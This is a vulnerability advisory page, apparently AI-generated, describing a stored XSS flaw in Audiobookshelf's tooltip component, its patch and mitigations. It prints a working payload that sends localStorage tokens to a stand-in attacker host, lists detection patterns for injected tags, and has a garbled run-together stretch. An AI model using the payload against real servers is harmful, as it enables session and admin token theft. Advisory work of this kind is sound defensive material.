
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-27963 is a stored cross-site scripting (XSS) vulnerability in Audiobookshelf, a self-hosted audiobook and podcast server, affecting all versions up to and including 2.31.0. The flaw allows attackers with library modification privileges to inject arbitrary JavaScript via malicious audiobook metadata (specifically the book title), which executes in victim users' browsers when they hover over a book cover in the Library Grid view. It was published on February 26, 2026, with a patch released in version 2.32.0. The vulnerability carries a CVSS v3.1 base score of 4.8 (Medium) (GitHub Advisory).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The vulnerable component is components/ui/Tooltip.vue, which uses direct innerHTML assignment (this.tooltip.innerHTML = this.text) in both its updateText() and createTooltip() methods without any HTML sanitization. In the Library Grid view, components/cards/LazyBookCard.vue passes the unsanitized book title directly to this global tooltip component. An attacker with library management permissions sets a book title containing a malicious HTML/JavaScript payload (e.g., Harmless Book Title<img src=x onerror=...>); when a victim user hovers their mouse over the book cover in the web client, the tooltip renders and the payload executes in the victim's browser. The attack requires no special conditions beyond library modification access and passive user interaction (mouse hover) (GitHub Advisory, GitHub Commit).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser, enabling session hijacking through theft of access tokens stored in localStorage (including admin tokens if an administrator is targeted), data exfiltration, and unauthorized modification of application or server state. Because Tooltip.vue is a global component used throughout the application, the vulnerability may also be triggerable in other interface areas such as the sidebar, header, or buttons where user-controlled text is rendered as a tooltip. Availability impact is minimal, though application crashes are possible (GitHub Advisory).
A proof-of-concept was demonstrated on a local instance of Audiobookshelf v2.30.0, confirming that setting a book title to a payload such as Harmless Book Title<script>...</script> and having a victim hover over the cover is sufficient to trigger token exfiltration. The EPSS score is approximately 0.033% (0.000330), indicating low current exploitation probability. No in-the-wild exploitation, threat actor attribution, or CISA KEV catalog listing has been reported as of the time of publication (GitHub Advisory, Feedly).
Harmless Book Title<img src=x onerror="fetch('https://attacker.com/?t='+localStorage.getItem('token'))">.Tooltip.vue component renders the unsanitized title via innerHTML.localStorage) to the attacker-controlled server.fetch or XMLHttpRequest calls to attacker-controlled servers carrying token or session data).title field (e.g., <script>, <img src=x onerror=, <svg onload=).Upgrade Audiobookshelf to version 2.32.0 or later, which contains the patch for this issue. The fix (commit 503f461) introduces a plaintext boolean prop to Tooltip.vue and replaces innerHTML with textContent when this prop is set, preventing HTML parsing of user-controlled input. The LazyBookCard.vue and other affected components were updated to pass the plaintext prop when rendering user-supplied metadata. No configuration-based workaround is available for unpatched versions; restricting library modification privileges to fully trusted users can reduce risk until patching is possible (GitHub Advisory, GitHub Commit).
The vulnerability was reported by researcher michael-tyl and disclosed via GitHub Security Advisories on February 14, 2026, with the CVE published on February 26, 2026. A brief technical write-up was published by Infinit Security (Infinit Security). No significant broader media coverage or notable community controversy has been observed beyond standard vulnerability database aggregation.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."